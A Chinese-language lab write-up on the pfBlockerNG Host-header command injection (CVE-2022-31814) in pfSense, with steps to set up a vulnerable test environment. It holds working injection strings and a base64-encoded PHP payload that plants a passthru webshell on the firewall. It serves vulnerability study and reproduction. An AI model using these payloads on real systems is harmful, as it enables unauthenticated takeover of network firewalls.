PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)概述

PfSense系统的插件pfBlockerNG引起的未授权RCE漏洞

pfSense是一个基于FreeBSD操作系统开发的防火墙和路由器软件

FreeBSD 是一种类UNIX操作系统

pfBlockerNG是一个pfSense的插件(默认不安装),提供了广告、恶意内容和地理拦截功能。

版本

pfSense 2.6.0

pfBlockerNG<=2.1.4_26

漏洞代码分析

位置/usr/local/www/pfblockerng/www/index.php有如下代码:

// Query DNSBL(邮件黑名单) Alias for Domain List.$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST'])); exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);

$_SERVER[‘HTTP_HOST’]是一个用户可控的输入,攻击者通过host 头来修改该参数

即/usr/bin/grep -l ‘ “[用户可控] 60 IN A’ /var/db/pfblockerng/dnsblalias/*

/usr/bin/grep

/usr/bin/grep ‘要匹配的字符串’ ‘文件的路径’

-l, –files-with-matches print only names of FILEs containing matches,打印仅包含匹配项字符串的文件名

用法如下图:

拼接命令

验证payload可行性

/usr/bin/grep -l ' \"' *; sleep 5 ;'60 IN A' /var/db/pfblockerng/dnsblalias/*

可见start response timer时间延迟了约5s

本地执行命令测试如下图

默认情况下,pfSense中没有安装“base64-d”二进制文件,但python3.8安装了,因此,我们能够编写和解码base64有效载荷,并将所有内容传输到php-cli二进制文件中:

测试的php代码

base64编码

PD9waHAgZWNobygiSEVMTCIpPz4K

python解码

python -m base64 -d

然后传输到php

| php

拼接起来的命令为:

/usr/bin/grep -l ' \"' *;echo 'PD9waHAgZWNobygiSEVMTCIpPz4K'|python3.8 -m base64 -d|php ;'60 IN A' /var/db/pfblockerng/dnsblalias/*

结果如图,成功解析php代码并输出了HELL

构造后门

php代码:

<?php $a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='';fwrite($a,$t);fclose($a);?>

passthru函数

php端

$path="python 脚本绝对路径/脚本文件名.py "; //注意:末尾要加一个空格,否则传参失败$params = "要传入python脚本的参数"; //传递给python脚本的入口参数passthru($path.$params." ".$params2);

python端

import sysparams = sys.argv[1] #即为获取到的PHP传入python的接口参数

通过以上即可实现php通过passthru函数来调用执行Python脚本

base64编码

PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo=

拼接起来的命令为:

/usr/bin/grep -l ' \"' *;echo 'PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo='|python3.8 -m base64 -d|php ;'60 IN A' /var/db/pfblockerng/dnsblalias/*

成功注入

在网站上访问该木马文件,成功getshell

最后拿ihteam的脚本跑一下,成功rce

漏洞环境搭建

新建虚拟机,选择FreeBSD

然后浏览器直接输入192.168.153.139即可访问web界面

输入默认账户admin/pfsense完成登录

进入后选择配置向导

配置网络

到第四步配置如下:

后面默认,然后成功上网

启动SSH服务

系统-高级选项-管理员访问-安全shell下

启用安全ssh和允许代理转发的启用ssh-代理转发支持。然后xshell连接对应ip地址,用户是root即可连接

安装python开发环境

[2.6.0-RELEASE][root@pfSense.home.arpa]/etc/pkg: pkg search pythonfrr7-pythontools-7.5.1_3       Provide configuration reload functionality for FRRpy38-gitpython-3.1.24          Python Git Librarypython38-3.8.12_1              Interpreted object-oriented programming langua[2.6.0-RELEASE][root@pfSense.home.arpa]/etc/pkg: pkg install python38-3.8.12_1

试了python,python3,python38都没找到指令

最后进入/usr/local/bin目录下查看,发现是python3.8,如下图

配置pfBlockerNG插件

插件管理里搜索pfBlockerNG安装,只找到3.2.0_3版本的,先装上

github上找到2.1.4_26版本的pfBlockerNG插件

https://github.com/pfsense/FreeBSD-ports/tree/devel/net

https://github.com/pfsense/FreeBSD-ports/commit/b57e24307dd32679f55dd7e38dc29910168886a4

然后点进对应版本的freebsd-port下载

解压zip包的net/pfsense-pkg-pfBlockerNG,找到pfBlockerNG的index.php文件

ps:因为漏洞只出现在该文件中,所以直接把2.1.4_26版本的index.php文件下载下来上传到防火墙系统里覆盖已安装的3.2.0_3版本的index.php就行

在这个地方上传文件

成功上传返回路径

然后打开命令行,使新上传的index.php文件直接覆盖3.2.0_3版本的

mv /tmp/index.php /usr/local/www/pfblockerng/www/index.php

参考链接

PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)

PHP通过passthru()函数实现与python脚本的交互

payload:pfBlockerNG 2.1.4_26 – 远程代码执行 (RCE) – PHP 网络应用程序漏洞利用 (exploit-db.com)

开源防火墙pfSense的安装及初始化

pfsense配置网络